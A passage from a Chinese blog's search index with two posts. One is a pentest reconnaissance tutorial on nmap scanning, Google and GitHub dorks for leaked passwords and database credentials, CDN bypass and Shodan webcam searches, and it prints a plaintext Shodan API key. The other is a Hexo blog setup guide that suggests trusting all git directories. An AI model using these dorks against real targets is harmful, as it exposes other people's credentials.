到65535(2^16-1)。</p><p>例如计算机中的80端口、21端口、23端口等。</p><p>在计算机中每一个端口代表一个服务。在Windows命令行中使用 netstat -anbo 显示开放端口。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101123334993.png"></p><h3 id="2-端口信息收集"><a href="#2-端口信息收集" class="headerlink" title="2.端口信息收集"></a>2.端口信息收集</h3><p>对于收集目标机器端口状态可以使用工具来进行测试。工具原理:使用TCP或者UDP等协议向目标端口发送指定标志位等的数据包,等待目标返回数据包,以此来判断端口状态。</p><p>1、使用nmap 探测。 nmap -A -v -T4 目标</p><p>2、使用masscan探测。</p><p>3、使用在线网站探测 <a href="http://tool.chinaz.com/port/%E3%80%82">http://tool.chinaz.com/port/。</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101123447879.png"></p><h3 id="3-端口攻击"><a href="#3-端口攻击" class="headerlink" title="3.端口攻击"></a>3.端口攻击</h3><p>针对不同的端口具有不同的攻击方法。</p><p>例如:针对远程连接服务端口</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101124129325.png"></p><p>对于扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。</p><h3 id="4-防御措施"><a href="#4-防御措施" class="headerlink" title="4.防御措施"></a>4.防御措施</h3><p>对于端口攻击来说只要端口开放并且可以连通,那么就可以利用对应的方式进行攻击测试。</p><p>防御措施:</p><ul><li>关闭不必要的端口;</li><li>对重要业务的服务端口设置防火墙;</li><li>加强员工信息安全意识,经常性更换用户密码;</li><li>经常更新软件,打补丁(patch)。</li></ul><h2 id="五、收集敏感信息"><a href="#五、收集敏感信息" class="headerlink" title="五、收集敏感信息"></a>五、收集敏感信息</h2><h3 id="1-敏感信息收集重要性"><a href="#1-敏感信息收集重要性" class="headerlink" title="1.敏感信息收集重要性"></a>1.敏感信息收集重要性</h3><p>针对某些安全做的很好的目标,直接通过技术层面是无法完成渗透测试。在这种情况下,可以利用搜索引擎搜索目标暴露在互联网上的关联信息。例如:数据库文件、SQL注入、服务器配置信息、甚至是通过Git找到站点泄露源代码、以及Redis等未授权访问、robots.txt等敏感信息。从而达到渗透测试的目的。</p><p>某些情况下,收集到的信息会对后期进行测试起到帮助重要。如果通过收集敏感信息直接获得了目标系统的数据库访问权限,那么渗透测试任务也就结束一大半了。因此在进行技术层面情况下的测试之前,应该先进行更多的信息收集。</p><h3 id="2-Google-Hacking语法"><a href="#2-Google-Hacking语法" class="headerlink" title="2.Google Hacking语法"></a>2.Google Hacking语法</h3><p>google hack是指使用Google等搜索引擎对某些特定的网络主机漏洞(通常是服务器上的脚本漏洞)进行搜索,以达到快速找到漏洞主机或特定主机的漏洞的目的。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101124417888.png"></p><p>Google hacking数据库:<a href="https://www.exploit-db.com/google-hacking-database/">https://www.exploit-db.com/google-hacking-database/</a></p><p>例如:查询Access数据:filetype:mdb “standard jet” (password | username | user | pass)</p><h3 id="3-HTTP响应收集Server信息"><a href="#3-HTTP响应收集Server信息" class="headerlink" title="3.HTTP响应收集Server信息"></a>3.HTTP响应收集Server信息</h3><p>通过HTTP或HTTPS与目标站点进行通信中,目标响应的报文中Server头和X-Powered-By头会暴露目标服务器和使用的编程语言信息,通过这些信息可以有针对的利用漏洞尝试。</p><p>获取HTTP响应的方法:</p><p>1、利用工具 如:浏览器审计工具、Burpsuite等代理截断工具。</p><p>2、编写Python脚本 requests库 参考链接:<a href="http://www.python-requests.org/en/master/">http://www.python-requests.org/en/master/</a></p><blockquote><p>import requests</p><p>r = requests.get(‘目标’)</p><p>print(r.headers)</p></blockquote><h3 id="4-Github信息泄露"><a href="#4-Github信息泄露" class="headerlink" title="4.Github信息泄露"></a>4.Github信息泄露</h3><p>Github是一个分布式的版本控制系统,目前拥有140多万开发者用户。随着越来越多的应用程序转移到了云上,Github已经成为了管理软件开发以及发现已有代码的首选方法。众所周知,当今是大数据时代,大规模数据泄露事情一直在发生,从未停止过,但有些人不知道的是很多时候一些敏感信息的泄露其实是我们自己无意中造成的,然而一个小疏忽,往往却造成一系列连锁反应。Github上敏感信息的泄露,就是一个典型的例子,Github虽然方便开发者,但其中也埋藏着一些安全隐患。</p><p>Github之邮件配置信息泄露:site:Github.com smtp、site:Github.com smtp @qq.com</p><p>Github之数据库信息泄露:site:Github.com sa password、site:Github.com root password、site:Github.com User ID=’sa’;Password</p><p>Github之svn信息泄露:site:Github.com svn、site:Github.com svn username</p><p>Github之综合信息泄露:site:Github.com password、site:Github.com ftp ftppassword、site:Github.com 密码、site:Github.com 内部</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101124657215.png"></p><h2 id="六、收集真实IP地址信息"><a href="#六、收集真实IP地址信息" class="headerlink" title="六、收集真实IP地址信息"></a>六、收集真实IP地址信息</h2><h3 id="1-CDN介绍"><a href="#1-CDN介绍" class="headerlink" title="1.CDN介绍"></a>1.CDN介绍</h3><p>CDN的全称是Content Delivery Network,即内容分发网络。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101124858178.png"></p><h3 id="2-判断CDN存在"><a href="#2-判断CDN存在" class="headerlink" title="2.判断CDN存在"></a>2.判断CDN存在</h3><p>通过Ping判断是否存在CDN。</p><p>通过设置代理或者利用在线ping网站来使用不同地区的Ping服务器来测试目标。<a href="http://ping.chinaz.com/">http://ping.chinaz.com/</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101124953489.png"></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101125002451.png"></p><h3 id="3-绕过CDN"><a href="#3-绕过CDN" class="headerlink" title="3.绕过CDN"></a>3.绕过CDN</h3><p>如果目标没有使用CDN,可以直接利用ping获得IP地址。或者利用在线网站:<a href="http://www.ip138.com/">http://www.ip138.com/</a></p><p>如果目标使用CDN,需要绕过CDN来获取真实IP地址。</p><ul><li>内部邮箱源 收集到内部邮箱服务器IP地址</li><li>网站phpinfo文件 phpinfo.php</li><li>分站IP地址,查询子域名 CDN很贵,很有可能分站就不再使用CDN。</li><li>查询域名解析记录 <a href="https://viewdns.info/">https://viewdns.info/</a></li></ul><h3 id="4-验证IP地址"><a href="#4-验证IP地址" class="headerlink" title="4.验证IP地址"></a>4.验证IP地址</h3><p>利用IP地址对Web站点进行访问,如果正常表名是真实IP地址。否则不为真。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101125200022.png"></p><h2 id="七、shodan"><a href="#七、shodan" class="headerlink" title="七、shodan"></a>七、shodan</h2><h3 id="1-Shodan搜索引擎介绍"><a href="#1-Shodan搜索引擎介绍" class="headerlink" title="1.Shodan搜索引擎介绍"></a>1.Shodan搜索引擎介绍</h3><p>虽然目前人们都认为谷歌是最强劲的搜索引擎,但Shodan才是互联网上最可怕的搜索引擎。与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。</p><p>Shodan网址:<a href="https://www.shodan.io/">https://www.shodan.io/</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101232236422.png"></p><h3 id="2-Shodan注册与登录"><a href="#2-Shodan注册与登录" class="headerlink" title="2.Shodan注册与登录"></a>2.Shodan注册与登录</h3><p>Shodan注册链接:<a href="https://account.shodan.io/register">https://account.shodan.io/register</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101232339399.png"></p><p>Shodan登录链接:<a href="https://account.shodan.io/login?continue=https://account.shodan.io/">https://account.shodan.io/login?continue=https%3A%2F%2Faccount.shodan.io%2F</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101232331383.png"></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101232320577.png"></p><h3 id="3-shodan搜索技巧"><a href="#3-shodan搜索技巧" class="headerlink" title="3.shodan搜索技巧"></a>3.shodan搜索技巧</h3><ul><li><p>搜索Webcam</p><blockquote><p>在Explore搜索框中输入webcam进行搜索。</p></blockquote><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101233845552.png"></p></li><li><p>搜索指定端口</p><blockquote><p>通过关键字 port 指定具体端口号。例如:port:22 指定搜索22号端口的主机信息。</p></blockquote><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101233927781.png"></p></li><li><p>搜索指定IP地址</p><blockquote><p>通过关键字 host指定具体IP地址。例如: host:61.135.169.121 指定探测IP地址主机信息。</p></blockquote><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234019660.png"></p></li><li><p>搜索具体城市</p><blockquote><p>利用city:城市名指定搜索具体城市的内容。例如: city:hangzhou port:22</p></blockquote><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234048681.png"></p></li></ul><h3 id="4-shodan命令行搜索"><a href="#4-shodan命令行搜索" class="headerlink" title="4.shodan命令行搜索"></a>4.shodan命令行搜索</h3><ul><li><p>Shodan安装命令行</p><pre><code>easy_install shodan</code></pre><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234302150.png"></p></li><li><p>初始化命令行</p><blockquote><p>初始化Shodan就是给Shodan初始化API Key。API Key: hHg9HmLgZuqBc1VsNqWGd10ilpyveesb</p></blockquote><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234343444.png"></p></li><li><p>启动与查找具体服务数量</p><p>使用shodan count Apache</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234459913.png"></p><p>使用shodan count tomcat</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234617234.png"></p></li><li><p>Shodan命令行搜索功能</p><p>利用 shodan search microsoft iis 6.0</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101234738102.png"></p></li></ul>]]></content>
<categories>
<category> web攻防 </category>
</categories>
<tags>
<tag> 信息 </tag>
</tags>
</entry>
<entry>
<title>博客搭建</title>
<link href="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"/>
<url>/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/</url>
<content type="html"><![CDATA[<p>2022年10月新版,Windows环境下,基于hexo框架,GitHub托管,搭建的博客</p><h1 id="一、需要的工具"><a href="#一、需要的工具" class="headerlink" title="一、需要的工具"></a>一、需要的工具</h1><h2 id="nodejs"><a href="#nodejs" class="headerlink" title="nodejs"></a><a href="https://nodejs.org/en/">nodejs</a></h2><h3 id="1-下载安装"><a href="#1-下载安装" class="headerlink" title="1.下载安装"></a>1.下载安装</h3><blockquote><p>下载LTS版本,安装路径自己决定,但一定要记住</p></blockquote><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/image-20221027134227036.png"></p><ul><li>我这里选的是C盘,其他选项保持默认即可</li></ul><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_15-55-34.png"></p><h3 id="2-环境配置"><a href="#2-环境配置" class="headerlink" title="2.环境配置"></a>2.环境配置</h3><ul><li><p>在键盘按下【win+R】键,输入cmd,然后回车,打开cmd窗口</p></li><li><p>输入以下命令</p><pre><code>node -v #查看node版本npm -v #查看npm版本</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_15-59-10.png"></p></li></ul><p><strong>注意:新版的Node.js已自带npm,安装Node.js时会一起安装</strong></p><ul><li>配置npm的全局模块的存放路径以及cache的路径:在nodejs文件夹中创建两个文件夹,”node_global”及”node_cache”</li></ul><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-00-39.png"></p><ul><li><p>在cmd中输入</p><pre><code>npm config set prefix "C:\Program Files\nodejs\node_global"(这个是自己刚创建两个文件的位置)npm config set cache "C:\Program Files\nodejs\node_cache"(这也是)</code></pre></li><li><p>接下来设置环境变量,关闭cmd窗口,“我的电脑”-右键-“属性”-“高级系统设置”-“高级”-“环境变量”</p></li><li><p>进入环境变量对话框,在【系统变量】下新建【NODE_PATH】,</p><p>输入【C:\Program Files\nodejs\node_globall\node_modules】,</p><p>将【系统变量】下的【Path】修改为【C:\Program Files\nodejs\node_global】,</p></li></ul><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-02-36.png"></p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-03-23.png"></p><h3 id="3-cnpm的安装"><a href="#3-cnpm的安装" class="headerlink" title="3.cnpm的安装"></a>3.cnpm的安装</h3><ul><li><p>管理员权限打开cmd</p><pre><code>npm install -g cnpm --registry=https://registry.npm.taobao.org</code></pre></li><li><p>然后安装好后可以执行</p><pre><code>cnpm -v #查看cnpm版本号</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-04-49.png"></p></li></ul><blockquote><p>出现上图,则安装成功</p></blockquote><h2 id="git-Git-git-scm-com"><a href="#git-Git-git-scm-com" class="headerlink" title="[git](Git (git-scm.com))"></a>[git](<a href="https://git-scm.com/">Git (git-scm.com)</a>)</h2><h3 id="1-下载安装-1"><a href="#1-下载安装-1" class="headerlink" title="1.下载安装"></a>1.下载安装</h3><blockquote><p>一般使用默认设置即可:一路next,git安装完毕!</p></blockquote><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/image-20221027135847116.png"></p><h3 id="2-环境配置-1"><a href="#2-环境配置-1" class="headerlink" title="2.环境配置"></a>2.环境配置</h3><ul><li><p>找到git安装路径中bin的位置,如:<code>C:\Program Files\Git\bin</code></p></li><li><p>找到git安装路径中git-core的位置,如:<code>C:\Program Files\Git\mingw64\libexec\git-core</code></p></li><li><p>右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-07-16.png"></p></li><li><p>在cmd中输入</p><pre><code>git -vgit</code></pre><p>会出现下图:</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-09-42.png"></p></li></ul><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-10-23.png"></p><p><strong>注意:如果没有配置环境,会显示</strong><code>'git' 不是内部或外部命令,也不是可运行的程序</code>,这时再进行配置即可</p><ul><li><p>初次安装git需要配置用户名和邮箱,否则git会提示:please tell me who you are.</p></li><li><p>用命令<code>git config --global --list</code>查看</p><pre><code>git config --global user.name "你的用户名" #配置用户名git config --global user.email "你的邮箱" #配置邮箱</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-12-34.png"></p><blockquote><p>此用户名和邮箱是git提交代码时用来显示你身份和联系方式的,并不是github用户名和邮箱</p></blockquote></li></ul><h1 id="二、安装博客"><a href="#二、安装博客" class="headerlink" title="二、安装博客"></a>二、安装博客</h1><h2 id="1-初步搭建"><a href="#1-初步搭建" class="headerlink" title="1.初步搭建"></a>1.初步搭建</h2><p>[Win+R]cmd或用power shell输入命令时,使用管理员权限,以cmd为例</p><pre><code>runas /user:administrator cmd</code></pre><p>输入管理员密码,即可进入</p><blockquote><p>提示</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/image-20221027142831962-1666966868145-12.png"></p><p>有可能是管理员账户没开,此电脑->管理->本地用户和组->用户->administrator,点击属性,去掉用户以禁用前面的勾,即可</p></blockquote><pre><code>cnpm install -g hexo-cli #安装hexo框架hexo -v#查看hexo版本</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-16-54.png"></p><p>在C盘中建立一个<code>blog</code>文件夹,这里我把博客安装到c:\blog</p><pre><code>cd c:\blog #切换目录mkdir blog #建立blog文件夹cd blog #进入刚创建的blog目录hexo init #生成博客 初始化博客</code></pre><p><strong>注意:初始化博客时,可能会一致卡住,直接按【Ctrl+C】终止,然后使用下列命令安装</strong></p><pre><code>cnpm install</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-20-53.png"></p><pre><code>hexo s#启动本地博客服务</code></pre><p>打开浏览器,输入 <code>localhost:4000</code> 。 自此,你的个人网站就这么速度的搭建起来了!</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/image-20221027143746417.png"></p><h2 id="2-新建文章"><a href="#2-新建文章" class="headerlink" title="2.新建文章"></a>2.新建文章</h2><pre><code>hexo n "第一篇博客" # 新建一个名为第一篇博客.md的文件</code></pre><p>可以使用记事本或Typora编辑内容</p><pre><code class="text">hexo clean #清理hexo g #生成hexo s #启动</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-27-42.png"></p><h2 id="3-连接GitHub"><a href="#3-连接GitHub" class="headerlink" title="3.连接GitHub"></a>3.连接GitHub</h2><h3 id="生成ssh公钥,并绑定GitHub"><a href="#生成ssh公钥,并绑定GitHub" class="headerlink" title="生成ssh公钥,并绑定GitHub"></a>生成ssh公钥,并绑定GitHub</h3><p>生成本地的SSH<a href="https://so.csdn.net/so/search?q=%E5%85%AC%E9%92%A5&spm=1001.2101.3001.7020">公钥</a>,并且绑定到远端的github,实现免密码登录(这一步很重要否则每次提交都需要输入密码)</p><blockquote><p>如果没有GitHub账号建议先创建一个,在<a href="https://github.com/">https://github.com/</a></p></blockquote><pre><code>#生成公钥ssh-keygen -t rsa -C "yourmail" # 后面为Github注册邮箱</code></pre><p>接下来会提示输入生成的key存放的路径,不设置直接回车的话会默认创建在C:/Users/你的用户账号/.ssh文件夹下(默认即可)</p><p>再接下来会提示你输入密码,这个密码是用来每次提交的时候输入确认,可以不设置,直接回车两次</p><p>出现下图,则表示成功生成SSH key了</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-35-27.png"></p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-36-12.png"></p><p>点开上图,复制,粘贴到下图的SSH keys中</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-37-51.png"></p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-38-23.png"></p><pre><code>cnpm install --save hexo-deployer-git #在blog目录下安装git部署插件ssh -T [email protected] #测试SSH连接</code></pre><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-40-17.png"></p><h3 id="在GitHub上建立一个仓库"><a href="#在GitHub上建立一个仓库" class="headerlink" title="在GitHub上建立一个仓库"></a>在GitHub上建立一个仓库</h3><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_16-42-30.png"></p><p><strong>注意:仓库名必须与github用户名前面一致,否则会报错</strong></p><h3 id="修改-config-yml文件"><a href="#修改-config-yml文件" class="headerlink" title="修改 _config.yml文件"></a>修改 _config.yml文件</h3><p>修改博客目录中的配置文件 <code>_config.yml</code></p><pre><code>deploy: type: git repo: https://github.com/xiaokai5201/xiaokai5201.github.io.git branch: master</code></pre><blockquote><p>注意:type里面的 git 不需要需要加单引号;repo 的内容是复制的仓库的 https 链接</p></blockquote><h3 id="推送到GitHub"><a href="#推送到GitHub" class="headerlink" title="推送到GitHub"></a>推送到GitHub</h3><p>安装 <code>hexo-deployer-git</code></p><pre><code>cnpm install hexo-deployer-git --save</code></pre><p>推送博客目录到远程 Github</p><pre><code>hexo d</code></pre><blockquote><p>网络原因,因为服务器在国外,可能会显示无法连接,多推送几次就好了,如果有VPN更好</p></blockquote><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_17-01-03.png"></p><p>出现下图,则推送成功</p><p><img src="/2022/10/28/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/Snipaste_2022-10-28_18-37-37.png"></p><h1 id="三、安装过程中可能会发生的错误"><a href="#三、安装过程中可能会发生的错误" class="headerlink" title="三、安装过程中可能会发生的错误"></a>三、安装过程中可能会发生的错误</h1><h2 id="1-hexo-d命令报错-ERROR-Deployer-not-found-git"><a href="#1-hexo-d命令报错-ERROR-Deployer-not-found-git" class="headerlink" title="1.hexo d命令报错 ERROR Deployer not found: git"></a>1.hexo d命令报错 ERROR Deployer not found: git</h2><p>这是因为没安装<code>hexo-deployer-git</code>插件,在<strong>站点目录</strong>下输入下面的插件安装就好了:</p><pre><code>npm install hexo-deployer-git --save</code></pre><h2 id="2-fatal-detected-dubious-ownership-in-repository-at解决办法"><a href="#2-fatal-detected-dubious-ownership-in-repository-at解决办法" class="headerlink" title="2.fatal detected dubious ownership in repository at解决办法"></a>2.fatal detected dubious ownership in repository at解决办法</h2><pre><code>fatal: detected dubious ownership in repository at '/media/data/users/jhu3szh/serialize'To add an exception for this directory, call:git config --global --add safe.directory /media/data/users/jhu3szh/serialize</code></pre><p><strong>因为git的权限安全策略导致的报错,可以考虑把目录下的所有内容都添加到信任列表:</strong></p><pre><code>git config --global --add safe.directory "*"</code></pre><h2 id="3-hexo搭建Github博客上传后,访问网页显示404问题"><a href="#3-hexo搭建Github博客上传后,访问网页显示404问题" class="headerlink" title="3.hexo搭建Github博客上传后,访问网页显示404问题"></a>3.hexo搭建Github博客上传后,访问网页显示404问题</h2><h3 id="1-你的github上的项目名字新建有误"><a href="#1-你的github上的项目名字新建有误" class="headerlink" title="1.你的github上的项目名字新建有误"></a>1.你的github上的项目名字新建有误</h3><p>创建一个和你用户名相同的仓库,后面加.github.io,只有这样,将来要部署到GitHub page的时候,才会被识别,也就是xxxx.github.io,其中xxx就是你注册GitHub的用户名</p><h3 id="2-你的yml文件配置有误"><a href="#2-你的yml文件配置有误" class="headerlink" title="2.你的yml文件配置有误"></a>2.你的yml文件配置有误</h3><p>yml文件对数据格式有着严格的要求</p><blockquote><p>检查是否有空格,单引号删掉没</p></blockquote>]]></content>
<categories>
<category> 博客搭建 </category>
</categories>
<tags>
<tag> hexo </tag>
</tags>
</entry>
</search>